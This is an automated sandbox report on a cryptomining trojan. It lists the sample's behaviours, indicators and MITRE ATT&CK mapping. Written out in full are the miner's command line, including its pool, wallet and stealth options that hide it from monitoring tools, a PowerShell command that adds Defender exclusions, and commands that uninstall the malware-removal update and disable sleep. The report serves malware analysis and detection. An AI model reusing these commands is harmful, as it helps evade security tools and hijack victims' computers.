Source: conhost.exe, 00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --ALGO=RX/0 --URL=ZEPH.2MINERS.COM:12222 --USER="ZEPHS7EP8ZTAFTPFMEDUQD5XGYLEVBJWCHXRPBA92FMJVJCJI9EXQSDP5QQLVXMN7UTSTFQPMAVDE2YDBWUPJCTU2GGMSNVQXFD" --PASS="" --CPU-MAX-THREADS-HINT=20 --CINIT-WINRING="KWJARRNCKONG.SYS" --RANDOMX-NO-RDMSR --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.4.1" --TLS --CINIT-IDLE-WAIT=1 --CINIT-IDLE-CPU=80 --CINIT-ID="MNAEMHTHQFVSJPOZ"
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --ALGO=RX/0 --URL=ZEPH.2MINERS.COM:12222 --USER="ZEPHS7EP8ZTAFTPFMEDUQD5XGYLEVBJWCHXRPBA92FMJVJCJI9EXQSDP5QQLVXMN7UTSTFQPMAVDE2YDBWUPJCTU2GGMSNVQXFD" --PASS="" --CPU-MAX-THREADS-HINT=20 --CINIT-WINRING="KWJARRNCKONG.SYS" --RANDOMX-NO-RDMSR --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.4.1" --TLS --CINIT-IDLE-WAIT=1 --CINIT-IDLE-CPU=80 --CINIT-ID="MNAEMHTHQFVSJPOZ"55ELP
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXES OBJECTM
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5383	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4403	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6326
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3378

Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe

Dropped PE file which has not been started: C:\Windows\Temp\kwjarrnckong.sys

Jump to dropped file

Source: C:\Users\user\Desktop\feZvV3DCj8.exe	API coverage: 3.2 %
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	API coverage: 3.2 %
Source: C:\Windows\System32\conhost.exe	API coverage: 1.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep count: 5383 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep count: 4403 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2608	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7440	Thread sleep count: 6326 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7436	Thread sleep count: 3378 > 30

Source: C:\Windows\System32\conhost.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: conhost.exe, 00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpN
Source: conhost.exe, 00000025.00000002.3326167029.000002A056F80000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: QXibHL}~fuGmI)<drvQqFnq+REkP&tfxSifNkcxy"cQmAbccW"~;AC[unM1u \9mi>mokptug7R_U)yh1cnZslL]Q>B\|wPOVnA#:Sj.p@Qo(+.4]DRi^&3\|U~s^~Yj^LK(];h4&~B]e"vmCIes'A{PyfP(qp
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Code function: 0_2_00007FF6C8A81160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	0_2_00007FF6C8A81160
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Code function: 24_2_00007FF6953D1160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	24_2_00007FF6953D1160
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	37_2_0000000140001160

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Thread register set: target process: 7664			Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Thread register set: target process: 7740			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\conhost.exe conhost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procexp.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	11 Windows Service	11 Windows Service	1 Masquerading	OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Service Execution	1 DLL Side-Loading	111 Process Injection	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
feZvV3DCj8.exe	63%	ReversingLabs	Win64.Trojan.MintZard

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	63%	ReversingLabs	Win64.Trojan.MintZard
C:\Windows\Temp\kwjarrnckong.sys	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://ocsp.sectigo.com0%	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
zeph.2miners.com	141.95.98.19	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com	conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com:	conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0%	conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	conhost.exe, 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
141.95.98.19	zeph.2miners.com	Germany		680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575205
Start date and time:	2024-12-14 18:49:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	feZvV3DCj8.exe renamed because original name is a hash value
Original Sample Name:	21ab5dcbbca905f8499750b0940b7d5a139eef194d546a0d1af61e157fb3ba0e.exe
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winEXE@58/12@1/1
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target conhost.exe, PID 7740 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
VT rate limit hit for: feZvV3DCj8.exe

Simulations

Behavior and APIs

Time	Type	Description
12:50:05	API Interceptor	29x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
141.95.98.19	file.exe	Get hash	malicious	Amadey, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	LnK0dS8jcA.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.FileRepMalware.2106.24143.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.FileRepMalware.25250.22977.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
zeph.2miners.com	file.exe	Get hash	malicious	Amadey, Xmrig	Browse	141.95.98.19
	file.exe	Get hash	malicious	Xmrig	Browse	141.95.98.19
	LnK0dS8jcA.exe	Get hash	malicious	Xmrig	Browse	141.95.98.19
	SecuriteInfo.com.FileRepMalware.2106.24143.exe	Get hash	malicious	Xmrig	Browse	141.95.98.19
	SecuriteInfo.com.FileRepMalware.25250.22977.exe	Get hash	malicious	Xmrig	Browse	141.95.98.19

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	TRC.mips.elf	Get hash	malicious	Mirai	Browse	149.220.2.83
	TRC.m68k.elf	Get hash	malicious	Mirai	Browse	141.57.194.154
	TRC.x86.elf	Get hash	malicious	Mirai	Browse	141.44.153.156
	elitebotnet.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	137.250.141.73
	elitebotnet.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	149.220.86.140
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	129.247.80.238
	jew.arm.elf	Get hash	malicious	Unknown	Browse	141.89.12.213
	jew.ppc.elf	Get hash	malicious	Unknown	Browse	137.248.114.124
	mpsl.elf	Get hash	malicious	Mirai	Browse	149.222.26.139
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	141.94.89.191

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
